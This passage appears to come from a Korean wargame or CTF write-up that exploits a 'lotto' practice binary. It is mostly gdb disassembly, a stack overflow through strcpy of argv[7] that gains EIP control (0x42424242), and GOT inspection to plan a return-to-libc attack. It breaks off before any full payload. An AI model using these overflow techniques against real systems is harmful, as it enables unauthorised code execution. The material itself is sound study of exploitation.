\u0026lt;main+202\u0026gt;: mov $0x0,%eax 0x08048603 \u0026lt;main+207\u0026gt;: jmp 0x804880e \u0026lt;main+730\u0026gt; 0x08048608 \u0026lt;main+212\u0026gt;: movl $0x0,-0x10(%ebp) 0x0804860f \u0026lt;main+219\u0026gt;: jmp 0x8048700 \u0026lt;main+460\u0026gt; 0x08048614 \u0026lt;main+224\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048618 \u0026lt;main+228\u0026gt;: jne 0x80486df \u0026lt;main+427\u0026gt; 0x0804861e \u0026lt;main+234\u0026gt;: mov -0x10(%ebp),%eax 0x08048621 \u0026lt;main+237\u0026gt;: add $0x1,%eax 0x08048624 \u0026lt;main+240\u0026gt;: shl $0x2,%eax 0x08048627 \u0026lt;main+243\u0026gt;: add 0xc(%ebp),%eax 0x0804862a \u0026lt;main+246\u0026gt;: mov (%eax),%eax 0x0804862c \u0026lt;main+248\u0026gt;: mov %eax,(%esp) 0x0804862f \u0026lt;main+251\u0026gt;: call 0x8048410 \u0026lt;strlen@plt\u0026gt; 0x08048634 \u0026lt;main+256\u0026gt;: cmp $0x1,%eax 0x08048637 \u0026lt;main+259\u0026gt;: jne 0x804866d \u0026lt;main+313\u0026gt; 0x08048639 \u0026lt;main+261\u0026gt;: mov -0x10(%ebp),%eax 0x0804863c \u0026lt;main+264\u0026gt;: add $0x1,%eax 0x0804863f \u0026lt;main+267\u0026gt;: shl $0x2,%eax 0x08048642 \u0026lt;main+270\u0026gt;: add 0xc(%ebp),%eax 0x08048645 \u0026lt;main+273\u0026gt;: mov (%eax),%eax 0x08048647 \u0026lt;main+275\u0026gt;: movl $0x1,0x8(%esp) 0x0804864f \u0026lt;main+283\u0026gt;: mov %eax,0x4(%esp) 0x08048653 \u0026lt;main+287\u0026gt;: lea -0x6(%ebp),%eax 0x08048656 \u0026lt;main+290\u0026gt;: mov %eax,(%esp) 0x08048659 \u0026lt;main+293\u0026gt;: call 0x80483f0 \u0026lt;strncpy@plt\u0026gt; 0x0804865e \u0026lt;main+298\u0026gt;: movzbl -0x6(%ebp),%eax 0x08048662 \u0026lt;main+302\u0026gt;: movsbl %al,%eax 0x08048665 \u0026lt;main+305\u0026gt;: sub $0x30,%eax 0x08048668 \u0026lt;main+308\u0026gt;: mov %eax,-0x18(%ebp) 0x0804866b \u0026lt;main+311\u0026gt;: jmp 0x80486d3 \u0026lt;main+415\u0026gt; 0x0804866d \u0026lt;main+313\u0026gt;: mov -0x10(%ebp),%eax 0x08048670 \u0026lt;main+316\u0026gt;: add $0x1,%eax 0x08048673 \u0026lt;main+319\u0026gt;: shl $0x2,%eax 0x08048676 \u0026lt;main+322\u0026gt;: add 0xc(%ebp),%eax 0x08048679 \u0026lt;main+325\u0026gt;: mov (%eax),%eax 0x0804867b \u0026lt;main+327\u0026gt;: mov %eax,(%esp) ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x0804867e \u0026lt;main+330\u0026gt;: call 0x8048410 \u0026lt;strlen@plt\u0026gt; 0x08048683 \u0026lt;main+335\u0026gt;: cmp $0x1,%eax 0x08048686 \u0026lt;main+338\u0026gt;: jbe 0x80486d3 \u0026lt;main+415\u0026gt; 0x08048688 \u0026lt;main+340\u0026gt;: mov -0x10(%ebp),%eax 0x0804868b \u0026lt;main+343\u0026gt;: add $0x1,%eax 0x0804868e \u0026lt;main+346\u0026gt;: shl $0x2,%eax 0x08048691 \u0026lt;main+349\u0026gt;: add 0xc(%ebp),%eax 0x08048694 \u0026lt;main+352\u0026gt;: mov (%eax),%eax 0x08048696 \u0026lt;main+354\u0026gt;: movl $0x2,0x8(%esp) 0x0804869e \u0026lt;main+362\u0026gt;: mov %eax,0x4(%esp) 0x080486a2 \u0026lt;main+366\u0026gt;: lea -0x6(%ebp),%eax 0x080486a5 \u0026lt;main+369\u0026gt;: mov %eax,(%esp) 0x080486a8 \u0026lt;main+372\u0026gt;: call 0x80483f0 \u0026lt;strncpy@plt\u0026gt; 0x080486ad \u0026lt;main+377\u0026gt;: movzbl -0x6(%ebp),%eax 0x080486b1 \u0026lt;main+381\u0026gt;: movsbl %al,%edx 0x080486b4 \u0026lt;main+384\u0026gt;: mov %edx,%eax 0x080486b6 \u0026lt;main+386\u0026gt;: shl $0x2,%eax 0x080486b9 \u0026lt;main+389\u0026gt;: add %edx,%eax 0x080486bb \u0026lt;main+391\u0026gt;: add %eax,%eax 0x080486bd \u0026lt;main+393\u0026gt;: lea -0x1e0(%eax),%edx 0x080486c3 \u0026lt;main+399\u0026gt;: movzbl -0x5(%ebp),%eax 0x080486c7 \u0026lt;main+403\u0026gt;: movsbl %al,%eax 0x080486ca \u0026lt;main+406\u0026gt;: lea (%edx,%eax,1),%eax 0x080486cd \u0026lt;main+409\u0026gt;: sub $0x30,%eax 0x080486d0 \u0026lt;main+412\u0026gt;: mov %eax,-0x18(%ebp) 0x080486d3 \u0026lt;main+415\u0026gt;: mov -0x10(%ebp),%eax 0x080486d6 \u0026lt;main+418\u0026gt;: mov -0x18(%ebp),%edx 0x080486d9 \u0026lt;main+421\u0026gt;: mov %edx,-0x34(%ebp,%eax,4) 0x080486dd \u0026lt;main+425\u0026gt;: jmp 0x80486fc \u0026lt;main+456\u0026gt; 0x080486df \u0026lt;main+427\u0026gt;: mov -0x10(%ebp),%ebx 0x080486e2 \u0026lt;main+430\u0026gt;: mov -0x10(%ebp),%eax 0x080486e5 \u0026lt;main+433\u0026gt;: add $0x1,%eax 0x080486e8 \u0026lt;main+436\u0026gt;: shl $0x2,%eax 0x080486eb \u0026lt;main+439\u0026gt;: add 0xc(%ebp),%eax 0x080486ee \u0026lt;main+442\u0026gt;: mov (%eax),%eax 0x080486f0 \u0026lt;main+444\u0026gt;: mov %eax,(%esp) 0x080486f3 \u0026lt;main+447\u0026gt;: call 0x8048440 \u0026lt;atoi@plt\u0026gt; 0x080486f8 \u0026lt;main+452\u0026gt;: mov %eax,-0x34(%ebp,%ebx,4) 0x080486fc \u0026lt;main+456\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048700 \u0026lt;main+460\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048704 \u0026lt;main+464\u0026gt;: jle 0x8048614 \u0026lt;main+224\u0026gt; 0x0804870a \u0026lt;main+470\u0026gt;: mov $0x804892d,%eax 0x0804870f \u0026lt;main+475\u0026gt;: mov %eax,(%esp) 0x08048712 \u0026lt;main+478\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048717 \u0026lt;main+483\u0026gt;: movl $0x0,-0x10(%ebp) 0x0804871e \u0026lt;main+490\u0026gt;: jmp 0x804873c \u0026lt;main+520\u0026gt; 0x08048720 \u0026lt;main+492\u0026gt;: mov -0x10(%ebp),%eax 0x08048723 \u0026lt;main+495\u0026gt;: mov -0x4c(%ebp,%eax,4),%edx ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x08048727 \u0026lt;main+499\u0026gt;: mov $0x804893e,%eax 0x0804872c \u0026lt;main+504\u0026gt;: mov %edx,0x4(%esp) 0x08048730 \u0026lt;main+508\u0026gt;: mov %eax,(%esp) 0x08048733 \u0026lt;main+511\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048738 \u0026lt;main+516\u0026gt;: addl $0x1,-0x10(%ebp) 0x0804873c \u0026lt;main+520\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048740 \u0026lt;main+524\u0026gt;: jle 0x8048720 \u0026lt;main+492\u0026gt; 0x08048742 \u0026lt;main+526\u0026gt;: mov $0x8048942,%eax 0x08048747 \u0026lt;main+531\u0026gt;: mov %eax,(%esp) 0x0804874a \u0026lt;main+534\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x0804874f \u0026lt;main+539\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048756 \u0026lt;main+546\u0026gt;: jmp 0x8048774 \u0026lt;main+576\u0026gt; 0x08048758 \u0026lt;main+548\u0026gt;: mov -0x10(%ebp),%eax 0x0804875b \u0026lt;main+551\u0026gt;: mov -0x34(%ebp,%eax,4),%edx 0x0804875f \u0026lt;main+555\u0026gt;: mov $0x804893e,%eax 0x08048764 \u0026lt;main+560\u0026gt;: mov %edx,0x4(%esp) 0x08048768 \u0026lt;main+564\u0026gt;: mov %eax,(%esp) 0x0804876b \u0026lt;main+567\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x08048770 \u0026lt;main+572\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048774 \u0026lt;main+576\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048778 \u0026lt;main+580\u0026gt;: jle 0x8048758 \u0026lt;main+548\u0026gt; 0x0804877a \u0026lt;main+582\u0026gt;: movl $0x8048954,(%esp) 0x08048781 \u0026lt;main+589\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x08048786 \u0026lt;main+594\u0026gt;: movl $0x0,-0x1c(%ebp) 0x0804878d \u0026lt;main+601\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048794 \u0026lt;main+608\u0026gt;: jmp 0x8048803 \u0026lt;main+719\u0026gt; 0x08048796 \u0026lt;main+610\u0026gt;: movl $0x0,-0x14(%ebp) 0x0804879d \u0026lt;main+617\u0026gt;: jmp 0x80487f6 \u0026lt;main+706\u0026gt; 0x0804879f \u0026lt;main+619\u0026gt;: mov -0x10(%ebp),%eax 0x080487a2 \u0026lt;main+622\u0026gt;: mov -0x4c(%ebp,%eax,4),%edx 0x080487a6 \u0026lt;main+626\u0026gt;: mov -0x14(%ebp),%eax 0x080487a9 \u0026lt;main+629\u0026gt;: mov -0x34(%ebp,%eax,4),%eax 0x080487ad \u0026lt;main+633\u0026gt;: cmp %eax,%edx 0x080487af \u0026lt;main+635\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487b1 \u0026lt;main+637\u0026gt;: addl $0x1,-0x1c(%ebp) 0x080487b5 \u0026lt;main+641\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x080487b9 \u0026lt;main+645\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487bb \u0026lt;main+647\u0026gt;: cmpl $0x6,-0x1c(%ebp) 0x080487bf \u0026lt;main+651\u0026gt;: jne 0x80487f2 \u0026lt;main+702\u0026gt; 0x080487c1 \u0026lt;main+653\u0026gt;: movl $0x8048956,(%esp) 0x080487c8 \u0026lt;main+660\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x080487cd \u0026lt;main+665\u0026gt;: mov 0xc(%ebp),%eax 0x080487d0 \u0026lt;main+668\u0026gt;: add $0x1c,%eax 0x080487d3 \u0026lt;main+671\u0026gt;: mov (%eax),%eax 0x080487d5 \u0026lt;main+673\u0026gt;: test %eax,%eax 0x080487d7 \u0026lt;main+675\u0026gt;: je 0x80487fe \u0026lt;main+714\u0026gt; 0x080487d9 \u0026lt;main+677\u0026gt;: mov 0xc(%ebp),%eax 0x080487dc \u0026lt;main+680\u0026gt;: add $0x1c,%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080487df \u0026lt;main+683\u0026gt;: mov (%eax),%eax 0x080487e1 \u0026lt;main+685\u0026gt;: mov %eax,0x4(%esp) 0x080487e5 \u0026lt;main+689\u0026gt;: lea -0xa(%ebp),%eax 0x080487e8 \u0026lt;main+692\u0026gt;: mov %eax,(%esp) 0x080487eb \u0026lt;main+695\u0026gt;: call 0x8048420 \u0026lt;strcpy@plt\u0026gt; 0x080487f0 \u0026lt;main+700\u0026gt;: jmp 0x80487ff \u0026lt;main+715\u0026gt; 0x080487f2 \u0026lt;main+702\u0026gt;: addl $0x1,-0x14(%ebp) 0x080487f6 \u0026lt;main+706\u0026gt;: cmpl $0x5,-0x14(%ebp) 0x080487fa \u0026lt;main+710\u0026gt;: jle 0x804879f \u0026lt;main+619\u0026gt; 0x080487fc \u0026lt;main+712\u0026gt;: jmp 0x80487ff \u0026lt;main+715\u0026gt; 0x080487fe \u0026lt;main+714\u0026gt;: nop 0x080487ff \u0026lt;main+715\u0026gt;: addl $0x1,-0x10(%ebp) 0x08048803 \u0026lt;main+719\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048807 \u0026lt;main+723\u0026gt;: jle 0x8048796 \u0026lt;main+610\u0026gt; 0x08048809 \u0026lt;main+725\u0026gt;: mov $0x0,%eax 0x0804880e \u0026lt;main+730\u0026gt;: add $0x54,%esp 0x08048811 \u0026lt;main+733\u0026gt;: pop %ebx 0x08048812 \u0026lt;main+734\u0026gt;: pop %ebp 0x08048813 \u0026lt;main+735\u0026gt;: ret End of assembler dump. (gdb) b main Breakpoint 1 at 0x8048538 (gdb) b *main+735 Breakpoint 2 at 0x8048813 (gdb) r 1 2 3 4 5 6 AAAA Starting program: /root/lotto 1 2 3 4 5 6 AAAA (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048538 in main () (gdb) jump *main+677 Continuing at 0x80487d9. Program received signal SIGSEGV, Segmentation fault. 0x08004141 in ?? () (gdb) r 1 2 3 4 5 6 AABBBB The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /root/lotto 1 2 3 4 5 6 AABBBB (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048538 in main () (gdb) jump *main+677 Continuing at 0x80487d9. Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () (gdb) argv[7] 값에 넣어야 할 인자의 크기를 정확하게 확인하였다. 이제 RTL을 해보도록 하자. 우선 간단한 GOT를 이용하여 풀이를 하기위해 주소를 확인해 보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 root@ubuntu:~# objdump -R lotto lotto: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ac8 R_386_GLOB_DAT __gmon_start__ 08049ad8 R_386_JUMP_SLOT srand 08049adc R_386_JUMP_SLOT __gmon_start__ 08049ae0 R_386_JUMP_SLOT strncpy 08049ae4 R_386_JUMP_SLOT __libc_start_main 08049ae8 R_386_JUMP_SLOT strlen 08049aec R_386_JUMP_SLOT strcpy 08049af0 R_386_JUMP_SLOT printf 08049af4 R_386_JUMP_SLOT atoi 08049af8 R_386_JUMP_SLOT time 08049afc R_386_JUMP_SLOT puts 08049b00 R_386_JUMP_SLOT rand root@ubuntu:~# gdb lotto GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (no debugging symbols found) (gdb) b main Breakpoint 1 at 0x8048538 (gdb) r Starting program: /root/lotto (no debugging symbols found) (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x08048538 in main () (gdb) x/32wx 0x08049aec 0x8049aec \u0026lt;_GLOBAL_OFFSET_TABLE_+32\u0026gt;: 0x08048426 0x08048436 0x08048446 0x08048456 0x8049afc \u0026lt;_GLOBAL_OFFSET_TABLE_+48\u0026gt;: 0x08048466 0x08048476 0x00000000 0x00000000 0x8049b0c \u0026lt;dtor_idx.5955\u0026gt;: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b1c: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b2c: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b3c: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b4c: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b5c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/32wx 0x08049aec-32 0x8049acc \u0026lt;_GLOBAL_OFFSET_TABLE_\u0026gt;: 0x08049a00 0xb7f09668 0xb7f00b70 0x080483d6 0x8049adc \u0026lt;_GLOBAL_OFFSET_TABLE_+16\u0026gt;: 0x080483e6 0x080483f6 0xb7daf370 0x08048416 0x8049aec \u0026lt;_GLOBAL_OFFSET_TABLE_+32\u0026gt;: 0x08048426 0x08048436 0x08048446 0x08048456 0x8049afc \u0026lt;_GLOBAL_OFFSET_TABLE_+48\u0026gt;: 0x08048466 0x08048476 0x00000000 0x00000000 0x8049b0c \u0026lt;dtor_idx.5955\u0026gt;: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b1c: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b2c: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049b3c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) GOT 주소를 확인해보면 0x00이 들어간다. 해당 값을 널이라 인자를 구성할 수 없다. 따라서 \u0026quot;ret\u0026quot; 명령어를 이용한 방법으로 풀이를 해보자.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 root@ubuntu:~# gdb lotto GNU gdb 6.8-debian Copyright (C) 2008 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later \u0026lt;http://gnu.org/licenses/gpl.html\u0026gt; This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type \u0026#34;show copying\u0026#34; and \u0026#34;show warranty\u0026#34; for details. This GDB was configured as \u0026#34;i486-linux-gnu\u0026#34;... (no debugging symbols found) (gdb) disassemble main Dump of assembler code for function main: 0x08048534 \u0026lt;main+0\u0026gt;: push %ebp 0x08048535 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x08048537 \u0026lt;main+3\u0026gt;: push %ebx 0x08048538 \u0026lt;main+4\u0026gt;: sub $0x54,%esp 0x0804853b \u0026lt;main+7\u0026gt;: movw $0x0,-0x6(%ebp) 0x08048541 \u0026lt;main+13\u0026gt;: movl $0x0,-0x1c(%ebp) 0x08048548 \u0026lt;main+20\u0026gt;: movl $0x0,(%esp) 0x0804854f \u0026lt;main+27\u0026gt;: call 0x8048450 \u0026lt;time@plt\u0026gt; 0x08048554 \u0026lt;main+32\u0026gt;: mov %eax,(%esp) 0x08048557 \u0026lt;main+35\u0026gt;: call 0x80483d0 \u0026lt;srand@plt\u0026gt; 0x0804855c \u0026lt;main+40\u0026gt;: movl $0x0,-0x10(%ebp) 0x08048563 \u0026lt;main+47\u0026gt;: jmp 0x80485d9 \u0026lt;main+165\u0026gt; 0x08048565 \u0026lt;main+49\u0026gt;: call 0x8048470 \u0026lt;rand@plt\u0026gt; 0x0804856a \u0026lt;main+54\u0026gt;: mov %eax,%ecx 0x0804856c \u0026lt;main+56\u0026gt;: mov $0xb60b60b7,%edx 0x08048571 \u0026lt;main+61\u0026gt;: mov %ecx,%eax 0x08048573 \u0026lt;main+63\u0026gt;: imul %edx 0x08048575 \u0026lt;main+65\u0026gt;: lea (%edx,%ecx,1),%eax 0x08048578 \u0026lt;main+68\u0026gt;: mov %eax,%edx 0x0804857a \u0026lt;main+70\u0026gt;: sar $0x5,%edx 0x0804857d \u0026lt;main+73\u0026gt;: mov %ecx,%eax 0x0804857f \u0026lt;main+75\u0026gt;: sar $0x1f,%eax 0x08048582 \u0026lt;main+78\u0026gt;: mov %edx,%ebx 0x08048584 \u0026lt;main+80\u0026gt;: sub %eax,%ebx 0x08048586 \u0026lt;main+82\u0026gt;: mov %ebx,%eax 0x08048588 \u0026lt;main+84\u0026gt;: imul $0x2d,%eax,%eax 0x0804858b \u0026lt;main+87\u0026gt;: mov %ecx,%edx 0x0804858d \u0026lt;main+89\u0026gt;: sub %eax,%edx 0x0804858f \u0026lt;main+91\u0026gt;: mov %edx,%eax 0x08048591 \u0026lt;main+93\u0026gt;: add $0x1,%eax 0x08048594 \u0026lt;main+96\u0026gt;: mov %eax,-0x18(%ebp) 0x08048597 \u0026lt;main+99\u0026gt;: movl $0x0,-0x14(%ebp) 0x0804859e \u0026lt;main+106\u0026gt;: jmp 0x80485bd \u0026lt;main+137\u0026gt; 0x080485a0 \u0026lt;main+108\u0026gt;: mov -0x14(%ebp),%eax 0x080485a3 \u0026lt;main+111\u0026gt;: mov -0x4c(%ebp,%eax,4),%eax 0x080485a7 \u0026lt;main+115\u0026gt;: cmp -0x18(%ebp),%eax 0x080485aa \u0026lt;main+118\u0026gt;: jne 0x80485b9 \u0026lt;main+133\u0026gt; 0x080485ac \u0026lt;main+120\u0026gt;: subl $0x1,-0x10(%ebp) 0x080485b0 \u0026lt;main+124\u0026gt;: movl $0x0,-0x18(%ebp) 0x080485b7 \u0026lt;main+131\u0026gt;: jmp 0x80485c5 \u0026lt;main+145\u0026gt; 0x080485b9 \u0026lt;main+133\u0026gt;: addl $0x1,-0x14(%ebp) 0x080485bd \u0026lt;main+137\u0026gt;: mov -0x14(%ebp),%eax 0x080485c0 \u0026lt;main+140\u0026gt;: cmp -0x10(%ebp),%eax 0x080485c3 \u0026lt;main+143\u0026gt;: jl 0x80485a0 \u0026lt;main+108\u0026gt; 0x080485c5 \u0026lt;main+145\u0026gt;: cmpl $0x0,-0x18(%ebp) 0x080485c9 \u0026lt;main+149\u0026gt;: je 0x80485d5 \u0026lt;main+161\u0026gt; 0x080485cb \u0026lt;main+151\u0026gt;: mov -0x10(%ebp),%eax ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x080485ce \u0026lt;main+154\u0026gt;: mov -0x18(%ebp),%edx 0x080485d1 \u0026lt;main+157\u0026gt;: mov %edx,-0x4c(%ebp,%eax,4) 0x080485d5 \u0026lt;main+161\u0026gt;: addl $0x1,-0x10(%ebp) 0x080485d9 \u0026lt;main+165\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x080485dd \u0026lt;main+169\u0026gt;: jle 0x8048565 \u0026lt;main+49\u0026gt; 0x080485df \u0026lt;main+171\u0026gt;: mov $0x80488e4,%eax 0x080485e4 \u0026lt;main+176\u0026gt;: mov %eax,(%esp) 0x080485e7 \u0026lt;main+179\u0026gt;: call 0x8048430 \u0026lt;printf@plt\u0026gt; 0x080485ec \u0026lt;main+184\u0026gt;: cmpl $0x6,0x8(%ebp) 0x080485f0 \u0026lt;main+188\u0026gt;: jg 0x8048608 \u0026lt;main+212\u0026gt; 0x080485f2 \u0026lt;main+190\u0026gt;: movl $0x8048913,(%esp) 0x080485f9 \u0026lt;main+197\u0026gt;: call 0x8048460 \u0026lt;puts@plt\u0026gt; 0x080485fe \u0026lt;main+202\u0026gt;: mov $0x0,%eax 0x08048603 \u0026lt;main+207\u0026gt;: jmp 0x804880e \u0026lt;main+730\u0026gt; 0x08048608 \u0026lt;main+212\u0026gt;: movl $0x0,-0x10(%ebp) 0x0804860f \u0026lt;main+219\u0026gt;: jmp 0x8048700 \u0026lt;main+460\u0026gt; 0x08048614 \u0026lt;main+224\u0026gt;: cmpl $0x5,-0x10(%ebp) 0x08048618 \u0026lt;main+228\u0026gt;: jne 0x80486df \u0026lt;main+427\u0026gt; 0x0804861e \u0026lt;main+234\u0026gt;: mov -0x10(%ebp),%eax 0x08048621 \u0026lt;main+237\u0026gt;: add $0x1,%eax 0x08048624 \u0026lt;main+240\u0026gt;: shl $0x2,%eax 0x08048627 \u0026lt;main+243\u0026gt;: add 0xc(%ebp),%eax 0x0804862a \u0026lt;main+246\u0026gt;: mov (%eax),%eax 0x0804862c \u0026lt;main+248\u0026gt;: mov %eax,(%esp) 0x0804862f \u0026lt;main+251\u0026gt;: call 0x8048410 \u0026lt;strlen@plt\u0026gt; 0x08048634 \u0026lt;main+256\u0026gt;: cmp $0x1,%eax 0x08048637 \u0026lt;main+259\u0026gt;: jne 0x804866d \u0026lt;main+313\u0026gt; 0x08048639 \u0026lt;main+261\u0026gt;: mov -0x10(%ebp),%eax 0x0804863c \u0026lt;main+264\u0026gt;: add $0x1,%eax 0x0804863f \u0026lt;main+267\u0026gt;: shl $0x2,%eax 0x08048642 \u0026lt;main+270\u0026gt;: add 0xc(%ebp),%eax 0x08048645 \u0026lt;main+273\u0026gt;: mov (%eax),%eax 0x08048647 \u0026lt;main+275\u0026gt;: movl $0x1,0x8(%esp) 0x0804864f \u0026lt;main+283\u0026gt;: mov %eax,0x4(%esp) 0x08048653 \u0026lt;main+287\u0026gt;: lea -0x6(%ebp),%eax 0x08048656 \u0026lt;main+290\u0026gt;: mov %eax,(%esp) 0x08048659 \u0026lt;main+293\u0026gt;: call 0x80483f0 \u0026lt;strncpy@plt\u0026gt; 0x0804865e \u0026lt;main+298\u0026gt;: movzbl -0x6(%ebp),%eax 0x08048662 \u0026lt;main+302\u0026gt;: movsbl %al,%eax 0x08048665 \u0026lt;main+305\u0026gt;: sub $0x30,%eax 0x08048668 \u0026lt;main+308\u0026gt;: mov %eax,-0x18(%ebp) 0x0804866b \u0026lt;main+311\u0026gt;: jmp 0x80486d3 \u0026lt;main+415\u0026gt; 0x0804866d \u0026lt;main+313\u0026gt;: mov -0x10(%ebp),%eax 0x08048670 \u0026lt;main+316\u0026gt;: add $0x1,%eax 0x08048673 \u0026lt;main+319\u0026gt;: shl $0x2,%eax 0x08048676 \u0026lt;main+322\u0026gt;: add 0xc(%ebp),%eax 0x08048679 \u0026lt;main+325\u0026gt;: mov (%eax),%eax 0x0804867b \u0026lt;main+327\u0026gt;: mov %eax,(%esp) ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x0804867e \u0026lt;main+330\u0026gt;: call 0x8048410 \u0026lt;strlen@plt\u0026gt; 0x08048683 \u0026lt;main+335\u0026gt;: cmp $0x1,%eax 0x08048686 \u0026lt;main+338\u0026gt;: jbe 0x80486d3 \u0026lt;main+415\u0026gt; 0x08048688 \u0026lt;main+340\u0026gt;: mov -0x10(%ebp),%eax 0x0804868b \u0026lt;main+343\u0026gt;: add $0x1,%eax 0x0804868e \u0026lt;main+346\u0026gt;: shl $0x2,%eax 0x08048691 \u0026lt;main+349\u0026gt;: add 0xc(%ebp),%eax 0x08048694 \u0026lt;main+352\u0026gt;: mov (%eax),%eax 0x08048696 \u0026lt;main+354\u0026gt;: movl $0x2,0x8(%esp) 0x0804869e \u0026lt;main+362\u0026gt;: mov %eax,0x4(%esp) 0x080486a2 \u0026lt;main+366\u0026gt;: lea -0x6(%ebp),%eax 0x080486a5 \u0026lt;main+369\u0026gt;: mov %eax,(%esp) 0x080486a8 \u0026lt;main+372\u0026gt;: call 0x80483f0 \u0026lt;strncpy@plt\u0026gt; 0x080486ad \u0026lt;main+377\u0026gt;: movzbl -0x6(%ebp),%eax 0x080486b1 \u0026lt;main+381\u0026gt;: movsbl %al,%edx 0x080486b4 \u0026lt;main+384\u0026gt;: mov %edx,%eax 0x080486b6 \u0026lt;main+386\u0026gt;: shl $0x2,%eax 0x080486b9 \u0026lt;main+389\u0026gt;: add %edx,%eax 0x080486bb \u0026lt;main+391\u0026gt;: add %eax,%eax 0x080486bd \u0026lt;main+393\u0026gt;: lea -0x1e0(%eax),%edx 0x080486c3 \u0026lt;main+399\u0026gt;: movzbl -0x5(%ebp),%eax 0x080486c7 \u0026lt;main+403\u0026gt;: movsbl %al,%eax 0x080486ca \u0026lt;main+406\u0026gt;: lea (%edx,%eax,1),%eax 0x080486cd \u0026lt;main+409\u0026gt;: sub $0x30,%eax 0x080486d0 \u0026lt;main+412\u0026gt;: mov %eax,-0x18(%ebp) 0x080486d3 \u0026lt;main+415\u0026gt;: mov -0x10(%ebp),%eax 0x080486d6 \u0026lt;main+418\u0026gt;: mov -0x18(%ebp),%edx 